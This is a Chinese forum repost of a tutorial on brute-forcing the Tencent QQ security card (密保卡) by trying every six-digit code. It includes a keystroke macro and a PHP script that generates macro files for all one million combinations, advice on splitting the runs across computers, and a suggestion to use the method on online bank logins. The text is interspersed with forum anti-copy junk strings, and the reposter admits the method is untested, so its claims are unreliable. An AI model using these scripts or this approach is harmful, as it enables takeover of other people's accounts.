|
|
密保卡的设置挺复杂,采用A-J的纵坐标 与 1-8的模坐标中,放着两位任意的数字。而QQ登录的时候,是采用这样的三组组合。如果我们尝试由这些坐标点中的数字去发现规律,几乎是不可能的,我想这种思路也是导致许多想破解的人,立马放弃的原因。 首先来手工来登录,密保卡试一下,我们可以发现,实际上我们在破解这个密码过程中,可以完全忽略那三组的坐标组合,我们可以认真看到,密保卡,真正来讲只是要求6这个数字(0-9)。这样子,那我们的暴力破解就可以换一种思路了,那就是我们尝试用6个数字的暴力去跑那些密码框就行了。而且腾讯这个密保卡,没有限制尝试登录的次数。正好可以用来跑暴力的。分析的结果,就是这个密保卡的密码,我们只要让密码在这个区间“0 – 0 - 0 – 0 – 0 - 0 ====> 9-9-9-9-9-9”进行暴力输入验证就可以了。 现在已经锁定了,暴力破解的方案,那要采用什么工具呢?有想祭起delphi,搞一个窗口句柄跟踪,然后对这几个窗口进行,暴力破解的。只不过最近一直在用FreeBSD与C,对于Windows平台上面的编程真的一点兴趣都没有了? 想到的思路就是采用“按键精灵”软件,我们先手工录制一个“000000”的按键脚本,然后再用其他程序,写一个0-1000000的循环,将这里面的“000000”的值由“000000”到“999999”区间来代替,这样子就可以利用按键精灵的这个脚本来进行暴力的破解。下面发布一个按键精灵的脚本。
: ~) Z3 G3 [& H" Y& Y
" b/ x* E" \: X1 e9 M- o
& B6 X8 x1 \; Z# i6 ^9 C下面是“000000”的按键脚本
6 s* m/ J( [9 PMoveTo 817 320
/ z7 g B9 A# t" z. EMoveTo 817 318
9 ~4 N1 T/ Q9 N& I% tMoveTo 815 317
9 `3 x# R! u7 ^MoveTo 811 315
7 |! y9 b* ~* @/ }- zMoveTo 807 312
. u6 c$ A, [0 mMoveTo 803 309+ S! s1 G/ V- p9 X V1 G1 t
MoveTo 801 307
$ W9 F, |) V% ?- n7 r& O# lMoveTo 799 305
" B% M- g% F1 H& L/ W9 T vMoveTo 797 302
/ ]- ^7 R( D6 x8 b' p* ^5 [; A% uMoveTo 796 300( p1 T6 y, Q# _; T" |
MoveTo 793 296
8 \ l6 T/ T' X1 u0 t0 k4 BMoveTo 791 2944 S) q' \) i3 c' ]; ?& Q& @
MoveTo 788 2918 o5 z4 ?* |. K& R) c' u1 _
MoveTo 785 289
) h; o$ e* x( O6 r2 ?MoveTo 783 287' E+ N- ]1 z* x8 V
MoveTo 779 285
$ m1 \1 v7 R8 WMoveTo 749 243
+ R! {0 n1 M. u* {4 S: GLeftClick 12 g7 c: \( C, p, j1 f7 D
Delay 2063; \' }+ `3 g4 j+ v
KeyDown 48 1 这是第一位密码的按下; L) R" z& g1 w, ?
Delay 78+ U" ~$ P5 T, a5 B; [2 i4 |; m
KeyUp 48 1 这是第一位密码的弹起
! n5 T7 `6 n! H! d# o: ^; UDelay 172
# {9 K( w* S. R" o9 P2 u0 SKeyDown 48 1 这是第二位密码的按下
5 k3 M4 b* S( x0 F( R+ N+ iDelay 78
# P, i: ]2 H& h* n% R# d% z! lKeyUp 48 1 这是第二位密码的弹起1 ~8 A3 N2 P( T( Z4 Q7 x+ R
Delay 484
f B$ ?2 M7 d' z$ e) NKeyDown 48 1 这是第三位密码的按下. q( t5 ?* m( P
Delay 63
I1 I+ j1 J1 ~KeyUp 48 1 这是第三位密码的弹起
! A4 M3 W8 `/ Y- j# P9 jDelay 156
. t0 i" c. B, dKeyDown 48 1 这是第四位密码的按下' T9 v4 |+ _+ J" e9 T& Z9 E
Delay 94' ?- ]9 C) H8 ]/ |
KeyUp 48 1 这是第四位密码的弹起
5 o! c# o* ~5 e% G+ E; @+ x$ W6 @# ]; VDelay 687
, I* q8 @. q5 j- H2 O9 Y- ^' GKeyDown 48 1 这是第五位密码的按下
/ A v* C$ p) U; ?: TDelay 781 U+ ], c; d1 R) Q4 e
KeyUp 48 1 这是第五位密码的弹起0 \" F& [. B& _5 j+ J! A( q5 |& _
Delay 9859 c3 u! B3 N4 R% y
KeyDown 48 1 这是第六位密码的按下
( ~" ?7 a( ?' J1 D5 m o" _Delay 93 P Q/ p5 D6 W7 d d
KeyUp 48 1 这是第六位密码的弹起
0 h7 _; o0 c' R3 x3 n3 UMoveTo 952 286; _0 y4 G/ s, @4 d" n' K8 Q8 o
MoveTo 966 287: F3 G1 b& c: \; p" Q
MoveTo 980 289+ i/ `& a+ t u, ~) S! ?- N; v# F
MoveTo 986 2911 \8 ? c$ A4 T6 A* b! m2 r* {7 I& r
MoveTo 990 292
8 ]: S4 K, B# s3 eMoveTo 994 2926 X3 Y. K9 E& u; D) n
MoveTo 996 292
) b# _0 n" H% K' b4 wMoveTo 997 292
, I' O2 D( @3 ?3 G wMoveTo 998 292
4 `- Q+ F. H" w# wMoveTo 999 2932 A' h1 V+ B+ `& s
MoveTo 999 294
1 r/ D) W/ S( S3 L7 WMoveTo 945 309
$ f( O C1 ?, q p$ G% aMoveTo 943 309' H3 x4 i8 M; y6 }5 h1 v) x/ q7 O
MoveTo 915 306
: o9 O/ I9 h3 T; eDelay 1063- @% ]0 ]! M5 _ ]
LeftClick 11 I1 t {3 K! H
Delay 2657* }* a4 F! ~& Y" P( u6 d- u
LeftClick 1
4 r0 X1 Y& c/ v$ R/ hMoveTo 871 294
* a) a! [ t9 q5 c7 f) UMoveTo 867 293
/ ^& M1 D9 B+ H8 G( X% Z# i8 T! F& fMoveTo 862 291
. [3 F9 y7 t% @$ @( Z8 O: fMoveTo 857 2891 A+ M$ G3 A( g1 X
MoveTo 853 288
8 h( I1 i. o! o- Z1 O* wMoveTo 849 287" O% W8 o8 H3 Q
MoveTo 844 284: R/ v% A4 g5 L. T" D: U
MoveTo 744 244
! ]$ t8 H B8 V2 q. B2 a2 o% _Delay 4641
( `0 _$ w9 A5 a) L+ h1 w3 z4 WLeftClick 1
! w2 s' t+ p( w/ d) H( dMoveTo 612 261) U e$ f# i, N; p$ Z3 l, m" X( h
# e: e* w1 X- H. M; N% x7 C
CrackQQ.php这个是用来生成暴力破解脚本的php代码0 y$ H" t5 H$ T* X% V+ S
<?php* ^! [" j) m% V. b* k/ c
set_time_limit(0);
0 B3 c# K- @6 @& D% e: b5 W: ]$myfile = fopen('QQCrack.txt','w+');7 A* C9 u" C* F/ }" q7 T
for($pwd=0;$pwd<1000000;$pwd++)3 j5 M- B$ S& A9 @
{+ s' j8 E: F2 y" \. V" P ?$ N
if($pwd<=9)7 }% c; A$ l8 n" d7 X& J9 z
{
- ] d# I+ u( e3 h3 d, \2 v9 G$pwd_1 = $pwd;3 [, {3 u/ W S0 M5 y1 L- y0 K1 H
$pwd_2 = 0;
" I) M2 ?: d' r+ O$pwd_3 = 0;/ g. R8 Z( T$ a9 V! S/ w
$pwd_4 = 0;
3 N' K; Z4 R% @ L$pwd_5 = 0;% ?5 A( V; g$ M
$pwd_6 = 0;* H% H* ?/ r/ u, x
}# V& E3 ^0 T" L* `( k. V" N$ h
if($pwd>9 && $pwd<=99)& E! h0 t7 x" J) p Y
{
, }( x+ }, @& I1 V; S1 U4 H$pwd_1 = substr($pwd,1,1);: d0 A: m, k6 r* l3 `
$pwd_2 = substr($pwd,0,1);1 u9 c8 Q3 j8 Q) i2 u. C5 L5 ^
$pwd_3 = 0;4 @4 {$ Z% ^3 n- o# x4 Y( k
$pwd_4 = 0;% r; L ^5 v& b8 W
$pwd_5 = 0;
n. i6 z4 T1 f# e2 m' ?& @9 v5 V$pwd_6 = 0;
0 o0 ~- x7 t2 {8 W. I: A% W }
- E& b7 U9 Z' L9 d# B if($pwd>99 && $pwd<=999)
, w& {* F9 L: {" Z6 v5 m7 O, f {/ U d( l- Y5 h' \7 `: x
$pwd_1 = substr($pwd,2,1);
& V a% x) g; ~6 c5 \9 T+ i4 G $pwd_2 = substr($pwd,1,1);
9 u6 J! B$ z- B4 {! q; \) p% u$pwd_3 = substr($pwd,0,1);
# [2 h# G4 b8 p9 _- Z- E$pwd_4 = 0;3 I H+ F, O2 f8 C1 b$ ?
$pwd_5 = 0;
% V: q( O3 r2 L1 ~* u$pwd_6 = 0;
' G" `: F2 J. e: H( B2 h" m* s }
( }$ [; W% ?: y2 d) S7 o if($pwd>999 && $pwd<=9999)" `+ m2 @& ` a7 m1 s# a8 o
{; M, c9 C% i; x* @. O9 M5 B
$pwd_1 = substr($pwd,3,1);: n* w. O* k) [8 T3 q" O
$pwd_2 = substr($pwd,2,1);2 X/ `# O# S8 [! j
$pwd_3 = substr($pwd,1,1);
+ [$ D2 G# s$ @0 c$pwd_4 = substr($pwd,0,1);7 o, p1 O5 a' b! y3 A: C
$pwd_5 = 0;
6 J9 F# s( u6 Z9 ^0 Z9 k6 Q$pwd_6 = 0;
, W% o* v" ]! m8 J1 o1 g }
" l4 l( O- ^! j* L8 ` |7 Q6 D if($pwd>9999 && $pwd<=99999)% i" q: P/ O$ b# Z2 }0 I3 N' x
{" O& \! Q; W3 s w1 Z
$pwd_1 = substr($pwd,4,1);1 W1 Q' b4 U- J1 e" c. C, T
$pwd_2 = substr($pwd,3,1);! g% X8 M0 s% s g5 t4 _* X# H+ Y
$pwd_3 = substr($pwd,2,1);
9 W9 E! {/ I$ p$pwd_4 = substr($pwd,1,1);/ w8 }9 v5 q( a' a5 P4 l( Q, ?8 `" \
$pwd_5 = substr($pwd,0,1);
* Y! k& h" j. U2 n5 y$pwd_6 = 0;8 G$ S3 z y& d) E: D2 F
}1 }0 B9 }9 t0 s* G# H
if($pwd>99999 && $pwd<=999999)6 M d8 @: \, }! H: a. r- q
{: L# q% `2 n# W9 C- d
$pwd_1 = substr($pwd,5,1);
, X9 b8 s; N. e( ?9 p( E6 V3 x $pwd_2 = substr($pwd,4,1);" Y* u' V2 [. j6 H
$pwd_3 = substr($pwd,3,1);5 Q; B) n) j! ]
$pwd_4 = substr($pwd,2,1);# t- I" Z4 h0 @/ a( U8 s
$pwd_5 = substr($pwd,1,1);
1 E, G3 z6 p/ I: b$pwd_6 = substr($pwd,0,1);
5 Y6 \6 M0 E h& l7 k }" v" H% A) z, ]! a
8 X2 ?. B- {# J1 Y2 B //echo $pwd_6,"-",$pwd_5,"-",$pwd_4,"-",$pwd_3,"-",$pwd_2,"-",$pwd_1,"<br>";
5 s( @# R( e U+ f# s4 z$ r //echo ord($pwd_6),"-",ord($pwd_5),"-",ord($pwd_4),"-",ord($pwd_3),"-",ord($pwd_2),"-",ord($pwd_1),"<br>";
: c( i* d' x0 \3 r% b" t$ [! K5 _8 |1 e- M+ ^
$ord_pwd_1 = ord($pwd_1);4 \0 d7 B# n9 E" n1 D6 T
$ord_pwd_2 = ord($pwd_2);, P6 Q7 `( R4 S( i n* N
$ord_pwd_3 = ord($pwd_3);
9 m" ^, ~, K6 H1 B- @( i $ord_pwd_4 = ord($pwd_4);& v. n* {; R4 ^( d3 ^/ `
$ord_pwd_5 = ord($pwd_5);
! ^( V2 N1 z5 W7 j) E4 { $ord_pwd_6 = ord($pwd_6);
, b1 [: W8 U/ D' R' i6 B! u: m3 N
' E' m) \2 O% A( f1 p fwrite($myfile,"MoveTo 817 320\n");
- Y. F% y" Y; A' C z- f q, e fwrite($myfile,"MoveTo 817 318\n");% `; Z/ c( D1 c+ A6 h- G
fwrite($myfile,"MoveTo 815 317\n");
3 l$ t; b7 ^4 i+ j# h- k. w* u fwrite($myfile,"MoveTo 811 315\n");
, u5 x0 u5 W; R* @ g2 q fwrite($myfile,"MoveTo 807 312\n");
) j+ [0 o/ n9 L- B Q fwrite($myfile,"MoveTo 803 309\n");, a+ ?' ]# e5 ~) P+ o. q
fwrite($myfile,"MoveTo 801 307\n");2 D0 O& M8 F. [) N6 {- {6 c
fwrite($myfile,"MoveTo 799 305\n");
' M2 i8 ^7 t4 \9 n+ D* n5 s# K fwrite($myfile,"MoveTo 797 302\n");
( b# b0 U; l! M, L. G# x! @* P% j fwrite($myfile,"MoveTo 796 300\n");
5 b- o* `1 | Z" X5 W9 c/ [! Y! i fwrite($myfile,"MoveTo 793 296\n");# M4 c0 B- s' x+ T1 s: D1 V
fwrite($myfile,"MoveTo 791 294\n");
3 e! Q: d6 |9 }$ ?6 q fwrite($myfile,"MoveTo 788 291\n");2 r+ G7 {* R9 M; Z* B3 p) {7 O- e
fwrite($myfile,"MoveTo 785 289\n");
& M) N) X+ b$ G3 i2 M$ [ fwrite($myfile,"MoveTo 783 287\n");
! S$ _4 a: C4 t; ~0 d% W# k/ s fwrite($myfile,"MoveTo 779 285\n");6 [# O7 p; c+ u0 g% v) n
fwrite($myfile,"MoveTo 749 243\n");
' S! s/ `3 Y, I& z1 b, w fwrite($myfile,"LeftClick 1\n");
8 o& w: [5 r0 Y& f+ ?9 o7 G fwrite($myfile,"Delay 2063\n");
: n. q" P9 A0 f fwrite($myfile,"KeyDown $ord_pwd_6 1\n"); //第一位密码按下
7 F# @1 D8 t5 Q2 K- k8 ]8 W; ` fwrite($myfile,"Delay 78\n");
4 v1 \9 t' C* h$ z* K: Z fwrite($myfile,"KeyUp $ord_pwd_6 1\n"); //第一位密码弹起
; }; Z! h) G8 v' I6 g fwrite($myfile,"Delay 172\n");
* q. t" ]) G6 w9 j fwrite($myfile,"KeyDown $ord_pwd_5 1\n"); //第二位密码按下
8 z1 f G- I/ k# [2 m fwrite($myfile,"Delay 78\n");0 `/ X6 A& v0 V$ i9 o" i; ~5 u
fwrite($myfile,"KeyUp $ord_pwd_5 1\n"); //第二位密码弹起
6 c6 h4 `* S" f8 ~7 e# g1 H fwrite($myfile,"Delay 484\n");! D4 Z% F2 u8 a" O* Z4 f! f [
fwrite($myfile,"KeyDown $ord_pwd_4 1\n"); //第三位密码按下
1 P* Y- F( v! y8 a s8 U* h/ q fwrite($myfile,"Delay 63\n");1 S8 j" x# `% P6 e
fwrite($myfile,"KeyUp $ord_pwd_4 1\n"); //第三位密码弹起
, [) G R* r/ }+ @7 [# S5 Y fwrite($myfile,"Delay 156\n");( _% |! X3 t2 u/ t. w
fwrite($myfile,"KeyDown $ord_pwd_3 1\n"); //第四位密码按下
3 d8 x D: M( ~ fwrite($myfile,"Delay 94\n");, G8 ~. u. v" V% o' P6 \9 h0 y9 u" O
fwrite($myfile,"KeyUp $ord_pwd_3 1\n"); //第四位密码弹起& T [1 F0 }3 T
fwrite($myfile,"Delay 687\n");% k5 G% S3 F6 R& u* l+ L
fwrite($myfile,"KeyDown $ord_pwd_2 1\n"); //第五位密码按下$ a, j# x" S1 l
fwrite($myfile,"Delay 78\n");
Z7 `* r J. d9 y8 ~, t a. Q5 J fwrite($myfile,"KeyUp $ord_pwd_2 1\n"); //第五位密码弹起
% D' l0 T, i% d' l6 m fwrite($myfile,"Delay 985\n");
: q) X; f0 O3 V7 E; }5 f- H fwrite($myfile,"KeyDown $ord_pwd_1 1\n"); //第六位密码按下9 X( S+ S$ q. p9 T% s. @4 o
fwrite($myfile,"Delay 93\n");7 z8 r' V8 z3 X9 C/ H" w) g8 m4 p
fwrite($myfile,"KeyUp $ord_pwd_1 1\n"); //第六位密码弹起
- l/ p& K5 U0 h# S fwrite($myfile,"MoveTo 952 286\n");
Z: ?2 Z/ u# G4 u9 E$ V: o# } fwrite($myfile,"MoveTo 966 287\n");
5 Y6 L# @5 J/ ~- g) M" c fwrite($myfile,"MoveTo 980 289\n");) ]" S; g( V9 Y [; l
fwrite($myfile,"MoveTo 986 291\n");3 Y6 }! T9 f6 K) q0 O
fwrite($myfile,"MoveTo 990 292\n");+ |( l" n" `$ C1 [: }
fwrite($myfile,"MoveTo 994 292\n");
9 s" @ ^' O) r8 X1 d& x. ~# I" h fwrite($myfile,"MoveTo 996 292\n");% L: I% T- {% J$ }: M! B$ |3 G# z
fwrite($myfile,"MoveTo 997 292\n");
2 |) C- r8 m9 U5 U: R* b! e& z fwrite($myfile,"MoveTo 998 292\n");
( J) k7 w' `8 f$ H* @ fwrite($myfile,"MoveTo 999 293\n");
k6 E5 ]) b. X0 p fwrite($myfile,"MoveTo 999 294\n");
& d8 Q- s1 k5 N$ m fwrite($myfile,"MoveTo 945 309\n");, _$ {; U$ P3 c6 A: [
fwrite($myfile,"MoveTo 943 309\n");
2 \) O: V3 K3 \5 I fwrite($myfile,"MoveTo 915 306\n");
5 u# u0 e! M0 H& c. M' C6 ~! p( Y fwrite($myfile,"Delay 1063\n");) G" S' D9 A8 f+ f
fwrite($myfile,"LeftClick 1\n");/ M# G @# M* A+ x
fwrite($myfile,"Delay 2657\n");8 q/ }& v. ?* ~; I) ^5 w0 k
fwrite($myfile,"LeftClick 1\n");$ y5 a5 I( {. F h6 U) j
fwrite($myfile,"MoveTo 871 294\n");
) T7 c* @$ c9 ] fwrite($myfile,"MoveTo 867 293\n");
+ b# L" F/ N8 |# R7 q& z4 R& i8 M fwrite($myfile,"MoveTo 862 291\n");
& w* y! M1 ?' p. _ fwrite($myfile,"MoveTo 857 289\n");
+ U( J) o& c4 w ]- N }0 | X fwrite($myfile,"MoveTo 853 288\n");9 [$ i$ R! t& `# r
fwrite($myfile,"MoveTo 849 287\n");! P0 u- M; u: h7 U+ A2 v
fwrite($myfile,"MoveTo 844 284\n");
; M2 _: ^, E! D fwrite($myfile,"MoveTo 744 244\n");
) b0 ?) a7 H( k3 A+ l fwrite($myfile,"Delay 4641\n");
+ p# U6 ^+ J- j' }5 I1 E fwrite($myfile,"LeftClick 1\n");8 i/ C9 c; t& }- g9 |
fwrite($myfile,"MoveTo 612 261\n");" n8 ]6 R Z; }8 ?" d5 P
}
- H" s3 w% T4 U. H/ W- Ifclose($myfile);" v1 O! X5 D7 i2 @! Z) a6 Q
?>( Z' F) U" b: \$ c- i3 Y
注意,这个脚本生成暴力破解脚本QQCrack.txt达到900M左右了,这样子我们只要将这个脚本拷贝到按键精灵的目录下就可以了调用。现在唯一担心的就是按键精灵,是否直接这么多行的脚本了。
. e* H* ]: c0 x. ~1 F' H5 B: q; F4 O$ P3 {7 H8 E/ U% ^0 S
4. 严重的情况发生了,生成的这个暴力脚本太大了,连EditPlus打开都出错了,看来按键精灵也必须会出错的。甚至用Word打开,也只能支持32M大小的文件。看来不能一下子生成的暴力破解文件。那只能限制数据的范围来生成不同段的暴力文件了。就是可以将CrackQQ.php文件中的“for($pwd=0;$pwd<1000000;$pwd++)”这个代码的范围,修改成0 w4 J; c$ Z/ p
“for($pwd=0;$pwd<10000;$pwd++)”这样子的一个个段,分段生成不同的暴力文件,然后再将这些分段的暴力的文件,拷贝到不同的计算机上面,进行分段的暴力输入与暴力破解的。
: v6 N2 L) j5 N3 e7 u, ]在这个生成暴力破解的文件过程中,建议采用FireFox浏览器来读取php代码,本人是将这个php脚本拷贝到FreeBSD下面,然后打开FireFox浏览器来读取php的。
; M; | q& V9 ^# A+ P" y+ W, T. _5 j) G) ^
+ D( N& _, b1 G
5. 生成10000次的暴力破解的文件,竟然需要9M的大小。如果这样子大小,按最早生成的900M,就需要将暴力破解的文件,分成100批进行暴力文件生成与分批运算破解的。虽然这个过程麻烦,不过总算是完全实现了暴力破解的全过程。
, p, Y- B9 E% h# t6 q$ x- t+ z) H
. U7 R9 j5 F4 o+ n2 F当然采用这种方法,实际上也可以用来对某些在线银行的密码登录暴力破解提供参考思路的.8 U! c" c( r6 Q# c, \. \2 B, f9 p
; p( N% B# l# ?1 E( G0 l( L
PS:本文为转载自 智导网络 作者:林峰
$ R7 }/ i( D* s& J" n6 A) T- \6 x. c$ v! N/ W% \
+ j- k- Y8 W- B; [% y本人未曾测试过该脚本是否有效,但是这种方法可以为各位提供密保卡的破解思路! |
' l8 N. E) }- U) U: w$ E( ` |
|